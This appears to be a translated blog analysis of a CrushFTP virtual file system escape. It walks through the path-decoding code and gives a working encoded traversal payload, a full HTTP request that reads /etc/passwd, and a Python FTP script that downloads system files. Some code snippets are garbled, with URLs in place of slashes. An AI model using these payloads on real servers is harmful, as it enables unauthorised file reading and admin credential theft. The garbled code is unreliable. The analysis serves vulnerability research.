in ,

A brief analysis of CrushFTP’s VFS escape


write in front

The content of this article may not be the latest vulnerability (after all, I don’t have the latest version of the code). It is a vulnerability updated in November last year. However, the analysis was put on hold for a long time due to various projects at that time. Pay attention to it again. Because I saw a new security bulletin, I remembered that I had not fully analyzed it at the time, so I continued the research from the previous work (of course, on the other hand, because I didn’t have the code for each version, I didn’t want to see the latest version of the vulnerability. In addition, the description of the vulnerability Chuuya can’t tell me anything)

Looking back again, we can see from the description that part of the exploit is to know the admin username, and the other part is to use a low-privilege account (or the system has anonymous access enabled) to escape the original VFS (Virtual File System) and read arbitrary files. In the end, it can achieve the effect of elevating rights.

image-20240423230247291

As for why?This is because the configuration of this system, including usernames, passwords, and some hard-coded keys, are actually saved in the form of XML files.

User information is stored inusers/MainUsers/xxxdirectory, so if we can read any file, then there is no doubt that we can decrypt the admin user’s information and successfully escalate the privileges.

Vulnerability analysis

Utilization of HTTP

Because this system supports many access methods, such as HTTP, FTP, etc., here we take the use of HTTP as an example (mainly to make it more interesting)

In fact, I mentioned the information about routing as early as in the previous article.

CrushFTP Unauthenticated Remote Code Execution(CVE-2023-43177)

image-20231211184136935

It can be easily seen from the above figure that the protocol parsing and calling are implemented here. The writing method is relatively rigid and not flexible enough (the specific process can be found incrushftp.server.ServerSessionHTTPSee the specific processing process), so since it looks really tortured, I am not going to take you through the code line by line here. We mainly share some key and interesting ideas.

First, we assume that we have a low-privilege account (or not needed if anonymous access is supported) and have permission to read some files.

3a87286b61828905e56c27d5c62004c

Access to a shared file is actually accessed directly in the form of URL+file

795bdda5323f964d7db258c13107961

At this time, the first thought we can think of is whether there will be a direct path through/Desktop/../../../../../etc/passwdof course, it is not possible to access it directly like this here. It is specifically related to the program processing logic.

The corresponding file access function starts from line 1532 in the code (my version is 10.5). If you are interested, read it yourself.

a0a4c785a4605e0b5235b1464a266c0

First, the path is processed through the dots function.

1
2
3
4
5
6
7
8
public static String dots(String s) {
boolean uncFix = s.indexOf(":////") > 0;
s = s.replace('\\', "https://unsafe.sh/");

for(String s2 = ""; s.indexOf("%") >= 0 && !s.equals(s2); s = s.replace('\\', "https://unsafe.sh/")) {
s2 = s;
s = url_decode(s);
}

You can see that he has done some processing on the path. We have not looked at the path processing of unc here, but it is of little use. The rest of the processing is

  1. Decode the URL multiple times until it is completely decoded (if the decoded content is equal to the content before decoding, it is considered that there is no need to continue decoding)

  2. If the path starts with ../, remove the ../ part. If the path ends with .., add / to the end of the path.

  3. If there is ../ or ./ in the path, perform path normalization processing on it, and finally remove the ending ../ and /.

  4. if exists in the path!!! and(and request!!! inbefore), when / exists in the path, press / to perform segmentation processing, and traverse and delete the !!! and ~ respectively.

  5. Return the processed string

It is not difficult for us to think here that we can completely construct/.!!!~./etc/passwdTo achieve path traversal, but if it is just that, then this loophole lacks some interest

Next, if it is not/WebInterface/functionThe route at the beginning will be calledcdThe path information corresponding to the function settings can be seen here and called again.Common.dotsI've done it once, so it's only been done twice now.

1
2
3
4
5
Common.dotsCommon.dots(user_dir);
this.http_dir = user_dir;
this.thisSession.uiPUT("current_dir", user_dir);
}

Don't worry, it's not over yet. Finally, when reading the file, it called againthis.fixPath(path);The path has been processed, so far it has been used three times in a row.dotsThe function performs path processing operations

1
2
3
4
5
6
7
8
9
10
11
12
13
public String fixPath(String path) {
path = Common.dots(path);
if (path.toUpperCase().startsWith("FILE:") || path.indexOf(":") == 1 || path.indexOf(":") == 2) {
path = crushftp.handlers.Common.replace_str(path, ":\\", "https://unsafe.sh/");
path = crushftp.handlers.Common.replace_str(path, ":/", "https://unsafe.sh/");
}

if (path.startsWith("https://unsafe.sh/")) {
path = path.substring(1);
}

return path;
}

If you just look at the surface of the code, you may think it's over at first glance. It seems that it can't be bypassed?Here I recommend that you think about it carefully and see if you can find some clues.

catastrophe

I will announce the answer directly here. The breaking point lies in the process of url decoding. As mentioned just now, it will call urldecode multiple times to decode the string. Until the decoded content is consistent with the pre-decoded content, it is considered that there is no need to continue decoding.

1
2
3
4
for(String s2 = ""; s.indexOf("%") >= 0 && !s.equals(s2); s = s.replace('\\', "https://unsafe.sh/")) {
s2 = s;
s = url_decode(s);
}

The key to the problem here lies in this decoding function. He takes it for granted that the decoding library that comes with jdk will definitely not throw an exception. Therefore, if we can make the decoding process report an error, then this character will be returned.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
public static String url_decode(String s) {
try {
if (s.indexOf("% ") < 0 && !s.endsWith("%")) {
String s2 = s.replace('+', 'þ');
s2 = URLDecoder.decode(s2, "UTF8");
s = s2.replace('þ', '+');
}
} catch (Exception var2) {
log("SERVER", 2, (Exception)var2);
}

for(int x = 0; s != null && x < 32; ++x) {
if (x < 9 || x > 13) {
s = s.replace((char)x, '_');
}
}

return s;
}


public static String decode(String s, Charset charset) {
Objects.requireNonNull(charset, "Charset");
boolean needToChange = false;
int numChars = s.length();
StringBuilder sb = new StringBuilder(numChars > 500 ? numChars / 2 : numChars);
int i = 0;

char c;
byte() bytes = null;
while (i < numChars) {
c = s.charAt(i);
switch (c) {
case '+':
sb.append(' ');
i++;
needToChange = true;
break;
case '%':









try {



if (bytes == null)
bytes = new byte((numChars-i)/3);
int pos = 0;

while ( ((i+2) < numChars) &&
(c=='%')) {
int v = Integer.parseInt(s, i + 1, i + 3, 16);
if (v < 0)
throw new IllegalArgumentException(
"URLDecoder: Illegal hex characters in escape "
+ "(%) pattern - negative value");
bytes(pos++) = (byte) v;
i+= 3;
if (i < numChars)
c = s.charAt(i);
}




if ((i < numChars) && (c=='%'))
throw new IllegalArgumentException(
"URLDecoder: Incomplete trailing escape (%) pattern");

sb.append(new String(bytes, 0, pos, charset));
} catch (NumberFormatException e) {
throw new IllegalArgumentException(
"URLDecoder: Illegal hex characters in escape (%) pattern - "
+ e.getMessage());
}
needToChange = true;
break;
default:
sb.append(c);
i++;
break;
}
}

return (needToChange? sb.toString() : s);
}

I won’t explain it line by line here. The main reason is that it’s too late and I have to go to bed. I will publish the answer directly here. You can take a closer look at it yourself.

Here we access (Desktop is any accessible folder or file)

1
/Desktop/HackedByY4%/!!!~.!!!~./%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%65%74%63%2f%70%61%73%73%77%64

First path processing:

URL decoding error (%/. cannot be decoded) returns the original character directly and will be deleted later.!!!~

At this point the payload becomes

1
/Desktop/HackedByY4%/../%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%65%74%63%2f%70%61%73%73%77%64

Second path processing:

URL decoding error directly returns the original character, and then encounters../After path normalization

At this point the payload becomes

1
/Desktop/%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%65%74%63%2f%70%61%73%73%77%64

Third path processing:

The url is successfully decoded, and the payload is

1
/Desktop//..!!!~/..!!!~/..!!!~/..!!!~/..!!!~/..!!!~/etc/passwd

will be deleted later!!!~successfully restored to the file we want to read, here due to/DesktopThe file has read permission, so through directory traversal we finally achieve the/etc/passwdReading realizes the escape of VFS

1
/Desktop/../../../../../etc/passwd

Test payload

1
2
3
4
5
6
7
8
GET /Desktop/HackedByY4%/!!!~.!!!~./%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%2e%2e%21%21%21%7e%2f%65%74%63%2f%70%61%73%73%77%64 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Content-Type: application/x-www-form-urlencoded
Connection: close
Cookie:csrftoken=4sAZX2pHaNF9RyoEHb7KENFQhia3jntA; currentAuth=BIGS; CrushAuth=1713889594438_uQ1LVPWPBAYQSHLZrtUV4uzR1yBIGS
Content-Length: 77

Successfully achieved the/etc/passwdReading files

8a7ee73f7e3e89804607caa2f64cf7a

The next post-exploitation is to read the admin account password for decryption and log in to the background to achieve unauthorized access.

Utilization of FTP

I originally wanted to write about it but it was too late and I simply went to bed when I was tired. The way to use ftp is simpler. It does not have to process the path multiple times, only once. Here I will give the script directly and leave a small homework. Interested friends can analyze the use of FTP in Knowledge Week

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from ftplib import FTP


host = '127.0.0.1'
port = 21


username = 'y4tacker'
password = 'y4tacker'


ftp = FTP()
ftp.connect(host, port)


ftp.login(username, password)


def list_files():
files = ()
ftp.retrlines('LIST', files.append)
for file in files:
print(file)


def download_file(remote_file, local_file):
with open(local_file, 'wb') as f:
ftp.retrbinary('RETR ' + remote_file, f.write)



def list_files_in_dir(dir):
files = ftp.nlst(dir)
for file in files:
print(file)
ftp.cwd("Desktop")




download_file('..!!!~/..!!!~/..!!!~/etc/hostsz', 'local_file.txt')


ftp.quit()

Go to sleep, go to sleep~~~

What do you think?

Leave a Reply

Your email address will not be published. Required fields are marked *

GIPHY App Key not set. Please check settings

Analysis of privilege escalation after CrushFTP (CVE-2024-4040)

Android 15 adds a notification cooldown that vibrates when unlocked. When multiple messages are received, the reminder will only vibrate when unlocked.